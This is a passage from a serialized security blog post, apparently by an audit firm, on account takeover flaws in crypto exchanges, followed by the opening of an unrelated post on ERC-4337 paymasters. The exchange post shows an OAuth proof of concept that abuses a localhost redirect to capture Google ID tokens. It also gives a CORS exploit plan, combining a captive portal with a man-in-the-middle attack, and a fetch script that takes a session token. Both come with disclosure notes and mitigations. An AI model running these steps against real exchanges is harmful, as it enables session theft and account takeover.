,[101534],{"type":26,"value":532},{"type":21,"tag":85,"props":101536,"children":101537},{"style":1021},[101538],{"type":26,"value":71252},{"type":21,"tag":85,"props":101540,"children":101541},{"style":114},[101542],{"type":26,"value":16156},{"type":21,"tag":85,"props":101544,"children":101545},{"class":87,"line":3286},[101546,101550,101554,101558,101562],{"type":21,"tag":85,"props":101547,"children":101548},{"style":1021},[101549],{"type":26,"value":71264},{"type":21,"tag":85,"props":101551,"children":101552},{"style":114},[101553],{"type":26,"value":71269},{"type":21,"tag":85,"props":101555,"children":101556},{"style":169},[101557],{"type":26,"value":741},{"type":21,"tag":85,"props":101559,"children":101560},{"style":2285},[101561],{"type":26,"value":71278},{"type":21,"tag":85,"props":101563,"children":101564},{"style":114},[101565],{"type":26,"value":15222},{"type":21,"tag":85,"props":101567,"children":101568},{"class":87,"line":3295},[101569,101573],{"type":21,"tag":85,"props":101570,"children":101571},{"style":1021},[101572],{"type":26,"value":71290},{"type":21,"tag":85,"props":101574,"children":101575},{"style":114},[101576],{"type":26,"value":148},{"type":21,"tag":85,"props":101578,"children":101579},{"class":87,"line":3308},[101580,101584,101588,101592],{"type":21,"tag":85,"props":101581,"children":101582},{"style":102},[101583],{"type":26,"value":71302},{"type":21,"tag":85,"props":101585,"children":101586},{"style":114},[101587],{"type":26,"value":1439},{"type":21,"tag":85,"props":101589,"children":101590},{"style":5026},[101591],{"type":26,"value":71311},{"type":21,"tag":85,"props":101593,"children":101594},{"style":114},[101595],{"type":26,"value":15222},{"type":21,"tag":85,"props":101597,"children":101598},{"class":87,"line":3333},[101599,101603,101607],{"type":21,"tag":85,"props":101600,"children":101601},{"style":114},[101602],{"type":26,"value":71323},{"type":21,"tag":85,"props":101604,"children":101605},{"style":1021},[101606],{"type":26,"value":71328},{"type":21,"tag":85,"props":101608,"children":101609},{"style":114},[101610],{"type":26,"value":148},{"type":21,"tag":85,"props":101612,"children":101613},{"class":87,"line":3369},[101614,101618],{"type":21,"tag":85,"props":101615,"children":101616},{"style":1021},[101617],{"type":26,"value":71340},{"type":21,"tag":85,"props":101619,"children":101620},{"style":114},[101621],{"type":26,"value":148},{"type":21,"tag":85,"props":101623,"children":101624},{"class":87,"line":3377},[101625,101629,101633,101638],{"type":21,"tag":85,"props":101626,"children":101627},{"style":1021},[101628],{"type":26,"value":71417},{"type":21,"tag":85,"props":101630,"children":101631},{"style":114},[101632],{"type":26,"value":1439},{"type":21,"tag":85,"props":101634,"children":101635},{"style":5026},[101636],{"type":26,"value":101637},"\"Test\"",{"type":21,"tag":85,"props":101639,"children":101640},{"style":114},[101641],{"type":26,"value":2485},{"type":21,"tag":85,"props":101643,"children":101644},{"class":87,"line":3386},[101645,101649],{"type":21,"tag":85,"props":101646,"children":101647},{"style":1021},[101648],{"type":26,"value":71483},{"type":21,"tag":85,"props":101650,"children":101651},{"style":114},[101652],{"type":26,"value":148},{"type":21,"tag":85,"props":101654,"children":101655},{"class":87,"line":3394},[101656,101661,101665],{"type":21,"tag":85,"props":101657,"children":101658},{"style":114},[101659],{"type":26,"value":101660},"                                src ",{"type":21,"tag":85,"props":101662,"children":101663},{"style":169},[101664],{"type":26,"value":741},{"type":21,"tag":85,"props":101666,"children":101667},{"style":5026},[101668],{"type":26,"value":101669}," \"https://accounts.google.com/gsi/client\"\n",{"type":21,"tag":85,"props":101671,"children":101672},{"class":87,"line":3410},[101673,101678,101683,101687,101691],{"type":21,"tag":85,"props":101674,"children":101675},{"style":114},[101676],{"type":26,"value":101677},"                                attributes[",{"type":21,"tag":85,"props":101679,"children":101680},{"style":5026},[101681],{"type":26,"value":101682},"\"async\"",{"type":21,"tag":85,"props":101684,"children":101685},{"style":114},[101686],{"type":26,"value":3026},{"type":21,"tag":85,"props":101688,"children":101689},{"style":169},[101690],{"type":26,"value":741},{"type":21,"tag":85,"props":101692,"children":101693},{"style":5026},[101694],{"type":26,"value":101695}," \"\"\n",{"type":21,"tag":85,"props":101697,"children":101698},{"class":87,"line":3427},[101699,101703,101708,101712,101716],{"type":21,"tag":85,"props":101700,"children":101701},{"style":114},[101702],{"type":26,"value":101677},{"type":21,"tag":85,"props":101704,"children":101705},{"style":5026},[101706],{"type":26,"value":101707},"\"defer\"",{"type":21,"tag":85,"props":101709,"children":101710},{"style":114},[101711],{"type":26,"value":3026},{"type":21,"tag":85,"props":101713,"children":101714},{"style":169},[101715],{"type":26,"value":741},{"type":21,"tag":85,"props":101717,"children":101718},{"style":5026},[101719],{"type":26,"value":101695},{"type":21,"tag":85,"props":101721,"children":101722},{"class":87,"line":3445},[101723],{"type":21,"tag":85,"props":101724,"children":101725},{"style":114},[101726],{"type":26,"value":71508},{"type":21,"tag":85,"props":101728,"children":101729},{"class":87,"line":3490},[101730,101734],{"type":21,"tag":85,"props":101731,"children":101732},{"style":1021},[101733],{"type":26,"value":71483},{"type":21,"tag":85,"props":101735,"children":101736},{"style":114},[101737],{"type":26,"value":148},{"type":21,"tag":85,"props":101739,"children":101740},{"class":87,"line":3596},[101741,101746],{"type":21,"tag":85,"props":101742,"children":101743},{"style":1021},[101744],{"type":26,"value":101745},"                                unsafe",{"type":21,"tag":85,"props":101747,"children":101748},{"style":114},[101749],{"type":26,"value":148},{"type":21,"tag":85,"props":101751,"children":101752},{"class":87,"line":23938},[101753,101758],{"type":21,"tag":85,"props":101754,"children":101755},{"style":169},[101756],{"type":26,"value":101757},"                                    +",{"type":21,"tag":85,"props":101759,"children":101760},{"style":5026},[101761],{"type":26,"value":101762},"\"\"\"\n",{"type":21,"tag":85,"props":101764,"children":101765},{"class":87,"line":23973},[101766],{"type":21,"tag":85,"props":101767,"children":101768},{"style":5026},[101769],{"type":26,"value":101770},"    function handleCredentialResponse(response) {\n",{"type":21,"tag":85,"props":101772,"children":101773},{"class":87,"line":23981},[101774],{"type":21,"tag":85,"props":101775,"children":101776},{"style":5026},[101777],{"type":26,"value":101778},"      alert(\"credential: \" + response.credential);\n",{"type":21,"tag":85,"props":101780,"children":101781},{"class":87,"line":23989},[101782],{"type":21,"tag":85,"props":101783,"children":101784},{"style":5026},[101785],{"type":26,"value":507},{"type":21,"tag":85,"props":101787,"children":101788},{"class":87,"line":23998},[101789],{"type":21,"tag":85,"props":101790,"children":101791},{"emptyLinePlaceholder":16},[101792],{"type":26,"value":703},{"type":21,"tag":85,"props":101794,"children":101795},{"class":87,"line":24040},[101796],{"type":21,"tag":85,"props":101797,"children":101798},{"style":5026},[101799],{"type":26,"value":101800},"    window.onload = async function () {\n",{"type":21,"tag":85,"props":101802,"children":101803},{"class":87,"line":24073},[101804],{"type":21,"tag":85,"props":101805,"children":101806},{"style":5026},[101807],{"type":26,"value":101808},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":21,"tag":85,"props":101810,"children":101811},{"class":87,"line":24081},[101812],{"type":21,"tag":85,"props":101813,"children":101814},{"style":5026},[101815],{"type":26,"value":101816},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":21,"tag":85,"props":101818,"children":101819},{"class":87,"line":24089},[101820],{"type":21,"tag":85,"props":101821,"children":101822},{"style":5026},[101823],{"type":26,"value":101824},"      google.accounts.id.initialize({\n",{"type":21,"tag":85,"props":101826,"children":101827},{"class":87,"line":24098},[101828],{"type":21,"tag":85,"props":101829,"children":101830},{"style":5026},[101831],{"type":26,"value":101832},"        client_id: client_id,\n",{"type":21,"tag":85,"props":101834,"children":101835},{"class":87,"line":24174},[101836],{"type":21,"tag":85,"props":101837,"children":101838},{"style":5026},[101839],{"type":26,"value":101840},"        callback: handleCredentialResponse,\n",{"type":21,"tag":85,"props":101842,"children":101843},{"class":87,"line":24207},[101844],{"type":21,"tag":85,"props":101845,"children":101846},{"style":5026},[101847],{"type":26,"value":101848},"        auto_select: true\n",{"type":21,"tag":85,"props":101850,"children":101851},{"class":87,"line":24215},[101852],{"type":21,"tag":85,"props":101853,"children":101854},{"style":5026},[101855],{"type":26,"value":1642},{"type":21,"tag":85,"props":101857,"children":101858},{"class":87,"line":24223},[101859],{"type":21,"tag":85,"props":101860,"children":101861},{"emptyLinePlaceholder":16},[101862],{"type":26,"value":703},{"type":21,"tag":85,"props":101864,"children":101865},{"class":87,"line":24260},[101866],{"type":21,"tag":85,"props":101867,"children":101868},{"style":5026},[101869],{"type":26,"value":101870},"      google.accounts.id.renderButton(\n",{"type":21,"tag":85,"props":101872,"children":101873},{"class":87,"line":24273},[101874],{"type":21,"tag":85,"props":101875,"children":101876},{"style":5026},[101877],{"type":26,"value":101878},"        document.getElementById(\"g_id_signin\"),\n",{"type":21,"tag":85,"props":101880,"children":101881},{"class":87,"line":24286},[101882],{"type":21,"tag":85,"props":101883,"children":101884},{"style":5026},[101885],{"type":26,"value":101886},"        { theme: \"outline\", size: \"large\" }\n",{"type":21,"tag":85,"props":101888,"children":101889},{"class":87,"line":24299},[101890],{"type":21,"tag":85,"props":101891,"children":101892},{"style":5026},[101893],{"type":26,"value":1106},{"type":21,"tag":85,"props":101895,"children":101896},{"class":87,"line":24353},[101897],{"type":21,"tag":85,"props":101898,"children":101899},{"emptyLinePlaceholder":16},[101900],{"type":26,"value":703},{"type":21,"tag":85,"props":101902,"children":101903},{"class":87,"line":24362},[101904],{"type":21,"tag":85,"props":101905,"children":101906},{"style":5026},[101907],{"type":26,"value":101908},"      google.accounts.id.prompt();\n",{"type":21,"tag":85,"props":101910,"children":101911},{"class":87,"line":32726},[101912],{"type":21,"tag":85,"props":101913,"children":101914},{"style":5026},[101915],{"type":26,"value":39445},{"type":21,"tag":85,"props":101917,"children":101918},{"class":87,"line":32747},[101919,101924,101928,101933],{"type":21,"tag":85,"props":101920,"children":101921},{"style":5026},[101922],{"type":26,"value":101923},"                                    \"\"\"",{"type":21,"tag":85,"props":101925,"children":101926},{"style":114},[101927],{"type":26,"value":73},{"type":21,"tag":85,"props":101929,"children":101930},{"style":1021},[101931],{"type":26,"value":101932},"trimIndent",{"type":21,"tag":85,"props":101934,"children":101935},{"style":114},[101936],{"type":26,"value":2086},{"type":21,"tag":85,"props":101938,"children":101939},{"class":87,"line":81413},[101940],{"type":21,"tag":85,"props":101941,"children":101942},{"style":114},[101943],{"type":26,"value":101944},"                                }\n",{"type":21,"tag":85,"props":101946,"children":101947},{"class":87,"line":81426},[101948],{"type":21,"tag":85,"props":101949,"children":101950},{"style":114},[101951],{"type":26,"value":71508},{"type":21,"tag":85,"props":101953,"children":101954},{"class":87,"line":81434},[101955],{"type":21,"tag":85,"props":101956,"children":101957},{"style":114},[101958],{"type":26,"value":71438},{"type":21,"tag":85,"props":101960,"children":101961},{"class":87,"line":81442},[101962,101966],{"type":21,"tag":85,"props":101963,"children":101964},{"style":1021},[101965],{"type":26,"value":71446},{"type":21,"tag":85,"props":101967,"children":101968},{"style":114},[101969],{"type":26,"value":148},{"type":21,"tag":85,"props":101971,"children":101972},{"class":87,"line":81450},[101973,101977,101981,101985,101990],{"type":21,"tag":85,"props":101974,"children":101975},{"style":1021},[101976],{"type":26,"value":71458},{"type":21,"tag":85,"props":101978,"children":101979},{"style":114},[101980],{"type":26,"value":9999},{"type":21,"tag":85,"props":101982,"children":101983},{"style":169},[101984],{"type":26,"value":5151},{"type":21,"tag":85,"props":101986,"children":101987},{"style":5026},[101988],{"type":26,"value":101989},"\"Login here:\"",{"type":21,"tag":85,"props":101991,"children":101992},{"style":114},[101993],{"type":26,"value":10009},{"type":21,"tag":85,"props":101995,"children":101996},{"class":87,"line":81490},[101997,102002],{"type":21,"tag":85,"props":101998,"children":101999},{"style":1021},[102000],{"type":26,"value":102001},"                            div",{"type":21,"tag":85,"props":102003,"children":102004},{"style":114},[102005],{"type":26,"value":148},{"type":21,"tag":85,"props":102007,"children":102008},{"class":87,"line":81498},[102009,102014,102018],{"type":21,"tag":85,"props":102010,"children":102011},{"style":114},[102012],{"type":26,"value":102013},"                                id ",{"type":21,"tag":85,"props":102015,"children":102016},{"style":169},[102017],{"type":26,"value":741},{"type":21,"tag":85,"props":102019,"children":102020},{"style":5026},[102021],{"type":26,"value":102022}," \"g_id_signin\"\n",{"type":21,"tag":85,"props":102024,"children":102025},{"class":87,"line":88685},[102026],{"type":21,"tag":85,"props":102027,"children":102028},{"style":114},[102029],{"type":26,"value":71508},{"type":21,"tag":85,"props":102031,"children":102032},{"class":87,"line":88693},[102033],{"type":21,"tag":85,"props":102034,"children":102035},{"style":114},[102036],{"type":26,"value":71438},{"type":21,"tag":85,"props":102038,"children":102040},{"class":87,"line":102039},62,[102041],{"type":21,"tag":85,"props":102042,"children":102043},{"style":114},[102044],{"type":26,"value":71523},{"type":21,"tag":85,"props":102046,"children":102048},{"class":87,"line":102047},63,[102049],{"type":21,"tag":85,"props":102050,"children":102051},{"style":114},[102052],{"type":26,"value":71531},{"type":21,"tag":85,"props":102054,"children":102056},{"class":87,"line":102055},64,[102057],{"type":21,"tag":85,"props":102058,"children":102059},{"style":114},[102060],{"type":26,"value":59342},{"type":21,"tag":85,"props":102062,"children":102064},{"class":87,"line":102063},65,[102065,102069,102073,102077,102081,102085],{"type":21,"tag":85,"props":102066,"children":102067},{"style":114},[102068],{"type":26,"value":71546},{"type":21,"tag":85,"props":102070,"children":102071},{"style":1021},[102072],{"type":26,"value":71551},{"type":21,"tag":85,"props":102074,"children":102075},{"style":114},[102076],{"type":26,"value":71556},{"type":21,"tag":85,"props":102078,"children":102079},{"style":169},[102080],{"type":26,"value":741},{"type":21,"tag":85,"props":102082,"children":102083},{"style":102},[102084],{"type":26,"value":12886},{"type":21,"tag":85,"props":102086,"children":102087},{"style":114},[102088],{"type":26,"value":2485},{"type":21,"tag":85,"props":102090,"children":102092},{"class":87,"line":102091},66,[102093],{"type":21,"tag":85,"props":102094,"children":102095},{"style":114},[102096],{"type":26,"value":507},{"type":21,"tag":22,"props":102098,"children":102099},{},[102100],{"type":26,"value":102101},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":21,"tag":22,"props":102103,"children":102104},{},[102105],{"type":26,"value":102106},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":21,"tag":10022,"props":102108,"children":102110},{"id":102109},"how-to-mitigate",[102111],{"type":26,"value":102112},"How to Mitigate",{"type":21,"tag":22,"props":102114,"children":102115},{},[102116],{"type":26,"value":102117},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":21,"tag":54,"props":102119,"children":102121},{"id":102120},"exploiting-cors",[102122],{"type":26,"value":102123},"Exploiting CORS",{"type":21,"tag":22,"props":102125,"children":102126},{},[102127],{"type":26,"value":102128},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":21,"tag":22,"props":102130,"children":102131},{},[102132,102134,102140],{"type":26,"value":102133},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":21,"tag":66,"props":102135,"children":102137},{"className":102136},[],[102138],{"type":26,"value":102139},"http://",{"type":26,"value":102141}," schema for any subdomain:",{"type":21,"tag":75,"props":102143,"children":102147},{"className":102144,"code":102145,"language":102146,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[102148],{"type":21,"tag":66,"props":102149,"children":102150},{"__ignoreMap":7},[102151,102159,102167,102175],{"type":21,"tag":85,"props":102152,"children":102153},{"class":87,"line":88},[102154],{"type":21,"tag":85,"props":102155,"children":102156},{},[102157],{"type":26,"value":102158},"HTTP 200 OK\n",{"type":21,"tag":85,"props":102160,"children":102161},{"class":87,"line":98},[102162],{"type":21,"tag":85,"props":102163,"children":102164},{},[102165],{"type":26,"value":102166},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":21,"tag":85,"props":102168,"children":102169},{"class":87,"line":151},[102170],{"type":21,"tag":85,"props":102171,"children":102172},{},[102173],{"type":26,"value":102174},"Access-Control-Allow-Credentials: true\n",{"type":21,"tag":85,"props":102176,"children":102177},{"class":87,"line":160},[102178],{"type":21,"tag":85,"props":102179,"children":102180},{},[102181],{"type":26,"value":10733},{"type":21,"tag":10022,"props":102183,"children":102185},{"id":102184},"cors-misconfiguration-by-lack-of-tls",[102186],{"type":26,"value":102187},"CORS Misconfiguration by Lack of TLS",{"type":21,"tag":22,"props":102189,"children":102190},{},[102191,102193,102199],{"type":26,"value":102192},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":21,"tag":66,"props":102194,"children":102196},{"className":102195},[],[102197],{"type":26,"value":102198},"exchange.com",{"type":26,"value":102200}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":21,"tag":22,"props":102202,"children":102203},{},[102204],{"type":26,"value":102205},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":21,"tag":17108,"props":102207,"children":102208},{},[102209,102229],{"type":21,"tag":845,"props":102210,"children":102211},{},[102212,102214,102219,102221,102227],{"type":26,"value":102213},"Chrome --> won't work because cookies are not sent in ",{"type":21,"tag":66,"props":102215,"children":102217},{"className":102216},[],[102218],{"type":26,"value":102139},{"type":26,"value":102220}," --> ",{"type":21,"tag":66,"props":102222,"children":102224},{"className":102223},[],[102225],{"type":26,"value":102226},"https://",{"type":26,"value":102228}," requests, even if same-site",{"type":21,"tag":845,"props":102230,"children":102231},{},[102232,102234],{"type":26,"value":102233},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":21,"tag":66,"props":102235,"children":102237},{"className":102236},[],[102238],{"type":26,"value":38213},{"type":21,"tag":10022,"props":102240,"children":102242},{"id":102241},"exploit-1",[102243],{"type":26,"value":100573},{"type":21,"tag":22,"props":102245,"children":102246},{},[102247],{"type":26,"value":102248},"To exploit it, we must follow some steps:",{"type":21,"tag":841,"props":102250,"children":102251},{},[102252,102257,102262],{"type":21,"tag":845,"props":102253,"children":102254},{},[102255],{"type":26,"value":102256},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":21,"tag":845,"props":102258,"children":102259},{},[102260],{"type":26,"value":102261},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":21,"tag":845,"props":102263,"children":102264},{},[102265,102267,102272],{"type":26,"value":102266},"Use ",{"type":21,"tag":66,"props":102268,"children":102270},{"className":102269},[],[102271],{"type":26,"value":38213},{"type":26,"value":102273}," with CORS to do something malicious using the victim's account",{"type":21,"tag":22,"props":102275,"children":102276},{},[102277],{"type":26,"value":102278},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":21,"tag":22,"props":102280,"children":102281},{},[102282,102284,102289],{"type":26,"value":102283},"Once the redirect to the ",{"type":21,"tag":66,"props":102285,"children":102287},{"className":102286},[],[102288],{"type":26,"value":102139},{"type":26,"value":102290}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":21,"tag":75,"props":102292,"children":102294},{"className":31808,"code":102293,"language":31810,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[102295],{"type":21,"tag":66,"props":102296,"children":102297},{"__ignoreMap":7},[102298,102321,102358,102375,102392,102399,102440],{"type":21,"tag":85,"props":102299,"children":102300},{"class":87,"line":88},[102301,102305,102309,102313,102317],{"type":21,"tag":85,"props":102302,"children":102303},{"style":114},[102304],{"type":26,"value":1439},{"type":21,"tag":85,"props":102306,"children":102307},{"style":102},[102308],{"type":26,"value":36593},{"type":21,"tag":85,"props":102310,"children":102311},{"style":114},[102312],{"type":26,"value":40145},{"type":21,"tag":85,"props":102314,"children":102315},{"style":102},[102316],{"type":26,"value":15240},{"type":21,"tag":85,"props":102318,"children":102319},{"style":114},[102320],{"type":26,"value":148},{"type":21,"tag":85,"props":102322,"children":102323},{"class":87,"line":98},[102324,102328,102333,102337,102341,102345,102349,102354],{"type":21,"tag":85,"props":102325,"children":102326},{"style":102},[102327],{"type":26,"value":2206},{"type":21,"tag":85,"props":102329,"children":102330},{"style":120},[102331],{"type":26,"value":102332}," res",{"type":21,"tag":85,"props":102334,"children":102335},{"style":169},[102336],{"type":26,"value":1941},{"type":21,"tag":85,"props":102338,"children":102339},{"style":2885},[102340],{"type":26,"value":36659},{"type":21,"tag":85,"props":102342,"children":102343},{"style":1021},[102344],{"type":26,"value":33375},{"type":21,"tag":85,"props":102346,"children":102347},{"style":114},[102348],{"type":26,"value":1439},{"type":21,"tag":85,"props":102350,"children":102351},{"style":5026},[102352],{"type":26,"value":102353},"'https://www.exchange.com/api/session_token'",{"type":21,"tag":85,"props":102355,"children":102356},{"style":114},[102357],{"type":26,"value":49337},{"type":21,"tag":85,"props":102359,"children":102360},{"class":87,"line":151},[102361,102366,102371],{"type":21,"tag":85,"props":102362,"children":102363},{"style":120},[102364],{"type":26,"value":102365},"    credentials:",{"type":21,"tag":85,"props":102367,"children":102368},{"style":5026},[102369],{"type":26,"value":102370}," 'include'",{"type":21,"tag":85,"props":102372,"children":102373},{"style":114},[102374],{"type":26,"value":182},{"type":21,"tag":85,"props":102376,"children":102377},{"class":87,"line":160},[102378,102383,102388],{"type":21,"tag":85,"props":102379,"children":102380},{"style":120},[102381],{"type":26,"value":102382},"    method:",{"type":21,"tag":85,"props":102384,"children":102385},{"style":5026},[102386],{"type":26,"value":102387}," 'POST'",{"type":21,"tag":85,"props":102389,"children":102390},{"style":114},[102391],{"type":26,"value":182},{"type":21,"tag":85,"props":102393,"children":102394},{"class":87,"line":185},[102395],{"type":21,"tag":85,"props":102396,"children":102397},{"style":114},[102398],{"type":26,"value":98656},{"type":21,"tag":85,"props":102400,"children":102401},{"class":87,"line":501},[102402,102407,102411,102416,102420,102424,102428,102432,102436],{"type":21,"tag":85,"props":102403,"children":102404},{"style":120},[102405],{"type":26,"value":102406},"  console",{"type":21,"tag":85,"props":102408,"children":102409},{"style":114},[102410],{"type":26,"value":73},{"type":21,"tag":85,"props":102412,"children":102413},{"style":1021},[102414],{"type":26,"value":102415},"log",{"type":21,"tag":85,"props":102417,"children":102418},{"style":114},[102419],{"type":26,"value":1439},{"type":21,"tag":85,"props":102421,"children":102422},{"style":2885},[102423],{"type":26,"value":33362},{"type":21,"tag":85,"props":102425,"children":102426},{"style":120},[102427],{"type":26,"value":102332},{"type":21,"tag":85,"props":102429,"children":102430},{"style":114},[102431],{"type":26,"value":73},{"type":21,"tag":85,"props":102433,"children":102434},{"style":1021},[102435],{"type":26,"value":34444},{"type":21,"tag":85,"props":102437,"children":102438},{"style":114},[102439],{"type":26,"value":15844},{"type":21,"tag":85,"props":102441,"children":102442},{"class":87,"line":697},[102443],{"type":21,"tag":85,"props":102444,"children":102445},{"style":114},[102446],{"type":26,"value":102447},"})();\n",{"type":21,"tag":22,"props":102449,"children":102450},{},[102451],{"type":26,"value":102452},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":21,"tag":10022,"props":102454,"children":102455},{"id":40782},[102456],{"type":26,"value":40785},{"type":21,"tag":22,"props":102458,"children":102459},{},[102460,102462,102467],{"type":26,"value":102461},"As mitigation, it is recommended to remove all ",{"type":21,"tag":66,"props":102463,"children":102465},{"className":102464},[],[102466],{"type":26,"value":102139},{"type":26,"value":102468}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":21,"tag":22,"props":102470,"children":102471},{},[102472],{"type":26,"value":102473},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":21,"tag":54,"props":102475,"children":102476},{"id":29375},[102477],{"type":26,"value":19373},{"type":21,"tag":22,"props":102479,"children":102480},{},[102481],{"type":26,"value":102482},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":21,"tag":22,"props":102484,"children":102485},{},[102486],{"type":26,"value":102487},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":21,"tag":3632,"props":102489,"children":102490},{},[102491],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":102493},[102494,102499,102504],{"id":100178,"depth":98,"text":100181,"children":102495},[102496,102497,102498],{"id":100189,"depth":151,"text":100192},{"id":100546,"depth":151,"text":100549},{"id":102109,"depth":151,"text":102112},{"id":102120,"depth":98,"text":102123,"children":102500},[102501,102502,102503],{"id":102184,"depth":151,"text":102187},{"id":102241,"depth":151,"text":100573},{"id":40782,"depth":151,"text":40785},{"id":29375,"depth":98,"text":19373},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":102509,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102510,"description":102511,"date":102512,"author":102513,"image":102514,"isFeatured":16,"onBlogPage":16,"tags":102516,"body":102519,"_type":3642,"_id":108291,"_source":3644,"_file":108292,"_stem":108293,"_extension":3647},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":102515,"width":97730,"height":14041},"/posts/paymasters-evm/title.png",[102517,102518],"evm","ERC-4337",{"type":18,"children":102520,"toc":108270},[102521,102525,102536,102541,102546,102551,102557,102563,102568,102573,102579,102584,102612,102618,102623,102630,102635,102645,102650,102676,102682,102702,102708,102728,102736,102767,102800,102809,102821,102846,102858,102871,102914,102920,102953,103052,103071,103094,103099,103105,103133,103280,103285,103312,103318,103330,103342,103351,103386,103391,104876,104904,104925,104930,104942,104951,104956,104974,104997,105002,105008,105062,105068,105101,105136,105960,105996,106032,106098,106131,106629,106682,106694,107258,107327,107354,107976,108018,108045,108057,108118,108137,108171,108176,108181,108186,108190,108195,108230,108256,108261,108266],{"type":21,"tag":35820,"props":102522,"children":102523},{"id":29458},[102524],{"type":26,"value":29461},{"type":21,"tag":22,"props":102526,"children":102527},{},[102528,102534],{"type":21,"tag":335,"props":102529,"children":102532},{"href":102530,"rel":102531},"https://docs.erc4337.io/",[339],[102533],{"type":26,"value":102518},{"type":26,"value":102535}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":21,"tag":22,"props":102537,"children":102538},{},[102539],{"type":26,"value":102540},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":21,"tag":22,"props":102542,"children":102543},{},[102544],{"type":26,"value":102545},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":21,"tag":22,"props":102547,"children":102548},{},[102549],{"type":26,"value":102550},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":21,"tag":35820,"props":102552,"children":102554},{"id":102553},"erc4337-overview",[102555],{"type":26,"value":102556},"ERC4337 Overview",{"type":21,"tag":54,"props":102558,"children":102560},{"id":102559},"traditional-eoas-vs-smart-contract-wallets",[102561],{"type":26,"value":102562},"Traditional EOAs vs Smart Contract Wallets",{"type":21,"tag":22,"props":102564,"children":102565},{},[102566],{"type":26,"value":102567},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":21,"tag":22,"props":102569,"children":102570},{},[102571],{"type":26,"value":102572},"By contrast, smart contract accounts (or \"smart 